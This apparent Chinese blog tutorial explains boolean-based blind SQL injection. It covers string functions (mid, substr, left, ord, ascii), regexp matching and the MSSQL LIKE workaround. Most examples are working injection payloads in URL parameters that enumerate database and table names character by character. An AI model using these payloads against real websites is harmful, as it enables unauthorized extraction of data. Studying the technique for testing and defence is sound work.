基于布尔盲注---构造逻辑判断

基于布尔盲注---构造逻辑判断

注入过程中常用的猜解字符长的函数 mid(), substr(), left()

mid(column_name,start[,length]) 截取部分字符串
参数描述
column_name必需。要提取字符的字段
start必需。规定开始的位置(起始值为1)
length可选。要返回的字符数。如果省略,则mid()函数返回剩余文本

Eg:

​ str=‘123456’ mid(str,2,1) --> 结果为2

sql列子:

1. mid(databse(),1,1)>'a' ,查看数据库名字的第一个字母,mid(database(),2,1)查看数据库名第二位,依次查看字符
	2. mid((select table_name from information_schema.tables where table_schema=0xxxxxxx limit 0,1),1,1)>'a' column_name参数为sql语句,可以自己构造来查询注入。
substr()函数

substr()和substring()函数实现的功能是一样的,都是截取字符串。

string substring(string, start, length)

string substr(string, start, length) //第一个是要处理的字符串,字符串开始的位置,截取的长度

sql列子:

1. substr(database(),1,1)>'a' 数据库第一位,substr(database(),2,1)数据库第二位,依次查看字符串
	2. substr((select table_name from information_schema.tables where table_schema=0xxxxxx limit 0,1),1,1)>'a'  string 位置构造sql语句注入。
left()函数

left从左部开始截取指定的字符

left(string, n) n为长度

sql:

left(database(),1)>‘a’ 数据库名第一位,left(database(),2)>‘ab’ 数据库前两位

string构造sql语句

ord()函数

将返回第一个字符的ascii码

ord(mid(database(),1,1))>114 检测第一个字母是否大于114 “r”

ascii()函数

ascii(substr((select database()),1,1)) =98 将字符转换成ascii值,同ord()函数

regexp 正则注入

用法:

select user() regexp ‘^[a-z]’

explain: 正则表达式的用法,user()结果为root ,regexp为匹配root的正则表达式

第二位可以用select user() regexp ‘^ro’

判断第一个表名的第一个字符是否是a-z中的字符,blind_sqli是假设已知的库名 ^[a-z]表示字符是在a-z范围内.

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema=‘blind_sqli’) and table regexp ‘^[a-z]’ limit 0,1) /*

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/* 判断是否为a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /* 确定是否该字符为n
表达式范围缩小如下:expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

当正确的时候结果为1,不正确的时候显示结果为0.

select * from users where id =1 and 1=(if ((user() regexp ‘^r’), 1,0));

select * from users where id=1 and 1=(user() regexp ‘^ri’);

利用if语句判断正确返回1,错误返回0

判断匹配结束$

$是从结尾开始判断的, table_name regexp’^username$’ 来进行判断

关于匹配多个项:

改limit 0,1–>limit 1.1 是错误的,regexp匹配的时候会在所有项里面进行匹配.止血药循环爆破就好了.

MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA=“blind_sqli” and table_name LIKE ‘[a-z]%’ )

该查询语句中,select top 1 是一个组合哦,不要看错了。

如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是x+1行.

例如 查询第二行的表名:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

select user() like 'ro%'

表达式的顺序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符,使用"_"则只能代表一个字符。故确认后续是否还有字符克用如下表达式

'news%' TRUE -> 'news_' FALSE

文章简书链接:

https://www.jianshu.com/p/0cac30ed8af9

个人博客链接:
http://pigdaqiang.top
或者:
http://texttxet.github.io

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值